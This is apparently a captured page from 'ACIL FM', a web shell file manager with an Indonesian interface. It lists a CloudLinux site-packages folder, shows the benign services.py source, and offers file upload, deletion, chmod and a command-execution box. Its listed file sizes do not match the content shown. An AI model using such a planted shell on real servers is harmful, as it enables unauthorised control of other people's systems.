ACIL FM
Dark
Refresh
Current DIR:
/opt/cloudlinux/venv/lib/python3.11/site-packages/clconfigure
/
opt
cloudlinux
venv
lib
python3.11
site-packages
clconfigure
Upload
Zip Selected
Delete Selected
Pilih semua
Nama
Ukuran
Permission
Aksi
cli
-
chmod
Open
Rename
Delete
spec
-
chmod
Open
Rename
Delete
__pycache__
-
chmod
Open
Rename
Delete
awp.py
1.75 MB
chmod
View
DL
Edit
Rename
Delete
cagefs.py
1.81 MB
chmod
View
DL
Edit
Rename
Delete
clpro.py
868 B
chmod
View
DL
Edit
Rename
Delete
files.py
933 B
chmod
View
DL
Edit
Rename
Delete
limits.py
2.86 MB
chmod
View
DL
Edit
Rename
Delete
linksafe.py
1.75 MB
chmod
View
DL
Edit
Rename
Delete
lve.py
965 B
chmod
View
DL
Edit
Rename
Delete
packages.py
3.18 MB
chmod
View
DL
Edit
Rename
Delete
Readme.md
1.61 MB
chmod
View
DL
Edit
Rename
Delete
services.py
2.29 MB
chmod
View
DL
Edit
Rename
Delete
watcher.py
4.94 MB
chmod
View
DL
Edit
Rename
Delete
__init__.py
3.09 MB
chmod
View
DL
Edit
Rename
Delete
Edit file: /opt/cloudlinux/venv/lib/python3.11/site-packages/clconfigure/services.py
# Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2018 All Rights Reserved # # Licensed under CLOUD LINUX LICENSE AGREEMENT # https://cloudlinux.com/docs/LICENCE.TXT # import logging from clconfigure import task, run STATE_MASKED = 'masked' STATE_STOPPED = 'stopped' STATE_UNMASKED = 'unmasked' STATE_RUNNING = 'running' STATE_FAILED = 'failed' STATUS_STOPPED = 'inactive' STATUS_RUNNING = 'active' STATE_ENABLED = 'enabled' STATE_DISABLED = 'disabled' def get_service_state(service, kind='is-active'): """ Get information about systemctl service state (either activity or enability) """ result = run(['systemctl', kind, service + '.service']) state = result.stdout.strip() return state @task("Changing service '{service_name}' state to '{desired_state}'") def set_service_state(desired_state, service_name): """ Brings service to given state. May be executed more that once, does't crash on future calls """ current_state = get_service_state(service_name, kind='is-enabled') current_status = get_service_state(service_name) logging.debug("Checking service '%s' state... package is in state='%s' running='%s'" "", service_name, current_state, current_status) action = None if desired_state == STATE_MASKED and current_state != STATE_MASKED: action = 'mask' elif desired_state == STATE_UNMASKED and current_state == STATE_MASKED: action = 'unmask' elif desired_state == STATE_STOPPED and current_status != STATUS_STOPPED: action = 'stop' elif desired_state == STATE_DISABLED and current_state != STATE_DISABLED: action = 'disable' elif desired_state == STATE_RUNNING and current_status != STATUS_RUNNING: action = 'start' elif desired_state == STATE_ENABLED and current_state != STATE_ENABLED: action = 'enable' if action is None: logging.debug("No actions needed for service '%s'", service_name) else: run(['systemctl', action, service_name + '.service']) current_state = get_service_state(service_name) current_status = get_service_state(service_name) logging.debug("Checking service '%s' state again... service now is in state='%s' running='%s'" "", service_name, current_state, current_status)
Simpan
Batal
Isi Zip:
Unzip
Create
Buat Folder
Buat File
Terminal / Execute
Run
Chmod Bulk
All File
All Folder
All File dan Folder
Apply